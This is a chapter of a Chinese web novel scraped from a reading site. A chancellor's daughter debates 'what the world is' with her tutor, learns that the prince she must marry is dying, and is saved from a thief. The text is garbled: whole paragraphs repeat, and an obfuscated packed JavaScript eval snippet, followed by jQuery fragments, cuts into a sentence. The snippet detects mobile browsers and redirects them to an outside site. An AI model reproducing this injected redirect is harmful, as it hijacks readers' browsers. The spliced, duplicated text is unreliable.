默认冷灰
24号文字
方正启体

3. 当期望变成现实后

作者:礼心本书字数:K更新时间:
    我吓了一跳,自己可是未来的世子妃啊,怎么能对别的男子生出兴趣?


    我深深的吸了一口气,世子啊,你快点回来成婚,要不然......要不然我喜欢上别人可如何是好?


    “阿沅,你表情为何这样奇怪?”


    正当我陷入深思的时候,突然被可欣的声音打断,我猛然醒悟,可欣心思细腻,可不能让她发现任何端倪,于是急忙辩解:


    “没什么,昨晚没睡好,犯困而已。”


    其实,真正犯困的大有人在,阿玲推开门走了进来,眼睛却闭着,看了一眼书桌在哪里,又闭上了眼镜,嚷嚷着,让我扶着她过去,她快要睡过去了。


    我刚拉着阿玲坐下,这时苏成风真的好似一阵风的来了,他步态轻盈,罩着面纱,微风拂过,面纱飘荡,清晨泛红的阳光化作一缕青丝轻抚在他的脸上。


    他说:


    “今日天朗气清,我们不学平常的内容,来谈一谈何为世间?”


    “有意思,我先说。”


    一听说不用学女规女诫,阿玲一下来了精神,一马当先。


    “世间嘛,就是神创造的呀,上天安排了一切,只可惜世间是上天安排人来渡劫的,需要受苦受难,比如我就要受这教学之苦。”


    阿玲说着,脸上的惆怅与可怜之感愈加明显,之后,又作出鬼脸玩笑。


    苏成风听后微微一笑,


    “好,你这是神创论,神之说由来已久,也算是有据,至于你说的教学是受苦受难,为师倒觉得给你教学才是真的受苦受难。”


    阿玲算是笑不出来了,夫子反将她一军,她是哑巴吃黄莲,有苦说不出。


    这时,可欣却轻轻一笑,


    “学生认为,道生一,一生二,道法自然,这道就是世间万物运行的根本,所谓神有神道,人有人道,鬼有鬼道。”


    苏成风原本低垂的眼眸抬了起来,


    “你读过《道德经》?”


    可欣自信满满的说着最谦虚的话,


    “略读一二。”


    他看着可欣点了点头,大有赞赏之意。


    可欣不愧是公认的才女,她读过的书我只是听说过。


    “那你呢?”


    苏成风突然点到了我,然而我的脑子却一片空白,真是的,刚才阿玲回答的时候只顾着笑她的自说自话,而可欣回答的时候又顾着欣赏她的才华,关于何为世间我是真的一点也没有思绪。


    我这颗简单又略显愚笨的脑袋啊,一到关键的时候总是一片空白,空白?我突然来了想法,


    “世间就是人的心吧,如果我的心里是空白的,那便什么也没有,如果我心里是五彩缤纷的,那世间也是五彩缤纷的,当我的心向往世间永远安定美好,那我应该付诸于行动,做一个善良的人,比如,收留孤儿。”


    我故意这样说,嘴角得意的翘起,看向苏成风,他正喝着茶,没料到我会说出收留孤儿,这件有关他的事,所以,有些心虚的他被茶水呛了一下,大声的咳嗽着。


    而我自然假模假样的关心道:


    “夫子没事儿吧?”


    苏成风意识到自己被捉弄,瞪了我一眼,又垂下双眸,长长的眼睫毛倒映在明亮的双眸中。


    随后不紧不慢的又喝了一口茶,朱唇更是温湿,他那纤长的手指捏着茶盏转来转去。


    “你研究过陆九渊的心学吗?”


    这是什么学识?我从来没有听说过,于是轻轻摇头道:


    “并无研究,没有听说过。”


    他轻抬眼眸,


    “噢?那你的想法倒与先朝圣贤不谋而合?你可以去看看陆九渊的心学,应该会有所感悟。”


    陆九渊心学,我在心中仔仔细细的念了一遍这五个字,家里藏书不少,应该能找到。


    可是,我想错了,藏书是多,可是找不到啊。


    密密麻麻的书籍摆满了藏书阁,有的书架因为太高,打扫不到而布满灰尘,我被呛的不停的咳嗽。


    那也抵挡不住我想找到陆九渊心学的迫切的心,我这没有多少见识的丫头竟然与先朝圣贤的想法相似,必须得认真的拜读一下。


    于是,我爬上爬下几个时辰窝在藏书阁中,连小兰来叫我用膳,我都一口回绝,没想到因为自己“醉心于求学”的事情就这样传到了父亲的耳朵里,他竟亲自过来了。


    从父亲脸上我看到了欣慰的表情,


    “阿沅,你在寻何书?听闻已经找了几个时辰了,为父还有如此喜爱读书的女儿吗?”


    我一扯嘴角,父亲最熟悉藏书阁了,终于盼来了高人,便坦诚答道:


    “父亲,陆九渊心学您听说过吗?”


    父亲不慌不忙的走过来帮我扶住梯子,


    “你下来,我帮你寻。”


    于是,我噔噔噔的退下来,父亲领我走到大书架后面的一排小书架跟前,他取出一本书,弹了弹上面的灰尘,我定睛一看,上面赫然写着五个大字《陆九渊心学》。


    我欣喜若狂。


    “谢谢父亲。”


    “拿去学习吧。”


    “嗯嗯。”


    我点点头,飞奔回自己的房间,果然,苏成风没有骗我,陆先生提出核心命题就是,“心即理”,他认为天理并非存在于外部世界,而是本就蕴含在人的本心之中。


    所以他便主张“发明本心”,即通过反思、觉悟自身内心,就能认识天理,无需向外探求。


    我捂着自己的心,可以感受到心在有力的跳动,我的心就是天理!


    可是,这“天理”来的太快了吧,我才想的让世子快点回来与我成亲,世子果真回来了。


    这个消息是小兰告诉我的,我还抱着书在深研陆九渊心学,她便急匆匆的跑来和我说,世子回来了,姜王已下诏书,待国师拟好时日便下聘成婚。


    这一消息顿时让我傻了眼。虽然,我从小就知道自己将来是世子妃,而且也期待着自己成为世子妃,可当这一期待成为现实后,竟然觉得人生毫无意义,甚至没有了期盼的念头。


    我使劲儿摇了摇头,正处青春好年华,瞎琢磨什么,世子妃是多少人梦寐以求的位置,更何况世子还那么优秀。


    可世子的优秀我也只是从他人口中听说,不要说世子优秀在哪里我不知道,就连世子长什么样我也不知道。


    父母让我过去,原本以为只是正常的教诲,让我做好准备成婚,可是接下来的消息却让我如五雷轰顶。


    世子居然病危了!


    这个消息是小兰告诉我的,我还抱着书在深研陆九渊心学,她便急匆匆的跑来和我说,世子回来了,姜王已下诏书,待国师拟好时日便下聘成婚。


    这一消息顿时让我傻了眼。虽然,我从小就知道自己将来是世子妃,而且也期待着自己成为世子妃,可当这一期待成为现实后,竟然觉得人生毫无意义,甚至没有了期盼的念头。


    我使劲儿摇了摇头,正处青春好年华,瞎琢磨什么,世子妃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241062|197736||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是多少人梦寐以求的位置,更何况世子还那么优秀。


    可世子的优秀我也只是从他人口中听说,不要说世子优秀在哪里我不知道,就连世子长什么样我也不知道。


    父母让我过去,原本以为只是正常的教诲,让我做好准备成婚,可是接下来的消息却让我如五雷轰顶。


    世子居然病危了!


    原来,一开始,世子在齐国只是稍感不适,并没有在意,后来日渐病重,竟然下不了床,齐国见世子情况危急,就派人来告知姜王,姜王听到消息后,便马不停蹄的把世子从齐国接回来。


    世子的病来的蹊跷,也来的凶。一开始只觉得乏力,精神涣散,后来渐渐消瘦,食不知味,就一病不起,连床也下不了。


    从齐国回来后,又加上路途颠簸,舟车劳顿,就开始时而糊涂,时而清醒。


    母亲轻轻啜泣,


    “我可怜的女儿,这是什么命?竟然要嫁给一个快要死了的人。”


    我也很是头疼,怎么众人羡慕的世子妃之位一下子变成了人人嫌弃的世子妃之位,姜王着急的下旨下聘,就是要给世子冲喜啊。


    父亲紧紧的皱着额头,他的女儿他也心疼呀,怎么好事会变成坏事?


    其实,这世上根本没有绝对的好事和坏事,这就是所谓的塞翁失马焉知非福。


    “阿沅,姜王的旨意不得不遵啊,相信世子定会好起来的。”


    是的,姜王的旨意怎能不遵,溥天之下,莫非王土;率土之滨,莫非王臣。


    父亲一直对姜王室忠心耿耿,君要臣死臣不得不死,更何况只是嫁女儿呀。


    我不能让父亲为难,而且生为丞相之女,这是我应该做的,我要像父亲一样守护姜王室。


    宫门外,一抬抬聘礼依次抬出,宫监们迈着整齐的步伐走在长街上,身穿朱红色宫袍,宫袍在风中翻飞。


    锦绣气派的王家聘礼,威严庄重的宫廷礼仪,连空气中都弥漫着富贵荣华。


    这一切,都让街上观礼之人目不暇接,叹为观止,却又压得人几乎喘不过气来。


    尤其是压的我喘不过气来,这最高规格的王家礼仪就是囚禁我的牢笼。


    母亲见我心思沉重,就允许我在婚前随意出府。


    我能去哪里呢?在街上漫无目地的闲逛,小兰也被我留在家中,我只想一个人静一静。


    街上热闹非凡,第一次如此仔细的观察着街上每一个人的神情,有的人满面春风,有的人得意洋洋,有的人目不斜视……


    唯独没有人像我一样,像一个丢了魂魄的人。


    就这样,我还被小偷给盯上了,只能说倒霉的人是更倒霉。


    忽地,身后窜出来一个人,一把抢走我腰间的香囊,抢走香囊不说,他还推我一把。


    一个趔趄,眼看我就要摔在地上了,就在那一瞬间,我又被人牢牢地抱在怀里,此人的衣服上有种说不上来的淡淡的香味,闻着让人安心。


    等等,这张脸,怎么是苏成风?


    “夫子,你怎么在这儿?”


    我十分惊讶,苏成风笑了笑,


    “来救你啊,怎么每次见到你都有危险,以后还是不要随便出门了。”


    我尴尬的笑了笑,也是,认真算起来,他已经救我两次了,虽然说这次情况不是很危险,可要不是他,我也摔在地上了。


    我站稳后推开苏成风的胳膊,姜国民风甚严,大街上与男子拉拉扯扯成何体统,就算是夫子也不行。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)